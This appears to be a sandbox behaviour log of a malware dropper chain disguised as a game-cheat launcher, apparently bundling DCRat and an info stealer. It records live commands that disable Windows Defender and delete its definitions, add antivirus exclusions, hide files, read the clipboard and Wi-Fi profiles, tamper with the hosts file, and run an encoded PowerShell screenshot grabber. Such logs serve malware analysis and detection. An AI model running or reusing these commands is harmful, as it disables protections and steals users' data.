Source: C:\Users\user\AppData\Local\Temp\Built.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "attrib +h +s "C:\Users\user\AppData\Local\Temp\Built.exe""
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\ .scr'"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Local\Temp\Built.exe'
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\ .scr'
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\attrib.exe attrib +h +s "C:\Users\user\AppData\Local\Temp\Built.exe"
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell Get-Clipboard"
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "tree /A /F"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "netsh wlan show profile"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tasklist.exe tasklist /FO LIST
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wbem\WMIC.exe WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tasklist.exe tasklist /FO LIST
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "systeminfo"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters /V DataBasePath"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIA
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tree.com tree /A /F
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Get-Clipboard
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\netsh.exe netsh wlan show profile
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\systeminfo.exe systeminfo
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tasklist.exe tasklist /FO LIST
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIAB
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "tree /A /F"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\reg.exe REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters /V DataBasePath
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tree.com tree /A /F
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "attrib -r C:\Windows\System32\drivers\etc\hosts"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\attrib.exe attrib -r C:\Windows\System32\drivers\etc\hosts
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "tree /A /F"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "attrib +r C:\Windows\System32\drivers\etc\hosts"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tree.com tree /A /F
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\attrib.exe attrib +r C:\Windows\System32\drivers\etc\hosts
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "tree /A /F"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tree.com tree /A /F
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tasklist.exe tasklist /FO LIST
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "tree /A /F"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tree.com tree /A /F
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "getmac"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "tree /A /F"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\getmac.exe getmac
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tree.com tree /A /F
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\gkfhm5n3\gkfhm5n3.cmdline"
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RESDAF6.tmp" "c:\Users\user\AppData\Local\Temp\gkfhm5n3\CSCE3FF6834DD6C4DE392BB63A4482876F5.TMP"
Source: C:\Windows\SysWOW64\wscript.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\agentInto\pR9EprN9daTFn7S7o.bat" "
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\agentInto\fontsessionruntime.exe "C:\agentInto\fontsessionruntime.exe"
Source: C:\Windows\System32\conhost.exe	Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\wbem\WMIC.exe	Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\conhost.exe	Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\QIjBj1l8We.exe	Process created: C:\Users\user\AppData\Local\Temp\x12.exe "C:\Users\user\AppData\Local\Temp\x12.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x12.exe	Process created: C:\Users\user\AppData\Local\Temp\x11.exe "C:\Users\user\AppData\Local\Temp\x11.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x11.exe	Process created: C:\Users\user\AppData\Local\Temp\x10.exe "C:\Users\user\AppData\Local\Temp\x10.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x10.exe	Process created: C:\Users\user\AppData\Local\Temp\x9.exe "C:\Users\user\AppData\Local\Temp\x9.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x9.exe	Process created: C:\Users\user\AppData\Local\Temp\x8.exe "C:\Users\user\AppData\Local\Temp\x8.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x8.exe	Process created: C:\Users\user\AppData\Local\Temp\x7.exe "C:\Users\user\AppData\Local\Temp\x7.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x7.exe	Process created: C:\Users\user\AppData\Local\Temp\x6.exe "C:\Users\user\AppData\Local\Temp\x6.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x6.exe	Process created: C:\Users\user\AppData\Local\Temp\x5.exe "C:\Users\user\AppData\Local\Temp\x5.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x5.exe	Process created: C:\Users\user\AppData\Local\Temp\x4.exe "C:\Users\user\AppData\Local\Temp\x4.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x4.exe	Process created: C:\Users\user\AppData\Local\Temp\CheatLauncherV2.exe "C:\Users\user\AppData\Local\Temp\CheatLauncherV2.exe"
Source: C:\Users\user\AppData\Local\Temp\CheatLauncherV2.exe	Process created: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe "C:\Users\user\AppData\Local\Temp\DCRatBuild.exe"
Source: C:\Users\user\AppData\Local\Temp\CheatLauncherV2.exe	Process created: C:\Users\user\AppData\Local\Temp\Built.exe "C:\Users\user\AppData\Local\Temp\Built.exe"
Source: C:\Users\user\AppData\Local\Temp\CheatLauncherV2.exe	Process created: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe "C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe"
Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe	Process created: C:\Windows\SysWOW64\wscript.exe "C:\Windows\System32\WScript.exe" "C:\agentInto\ygzWE.vbe"
Source: C:\Windows\SysWOW64\wscript.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\agentInto\pR9EprN9daTFn7S7o.bat" "
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Process created: C:\Users\user\AppData\Local\Temp\Built.exe "C:\Users\user\AppData\Local\Temp\Built.exe"
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Local\Temp\Built.exe'"
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "attrib +h +s "C:\Users\user\AppData\Local\Temp\Built.exe""
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\ .scr'"
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName"
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell Get-Clipboard"
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "tree /A /F"
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "netsh wlan show profile"
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "systeminfo"
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters /V DataBasePath"
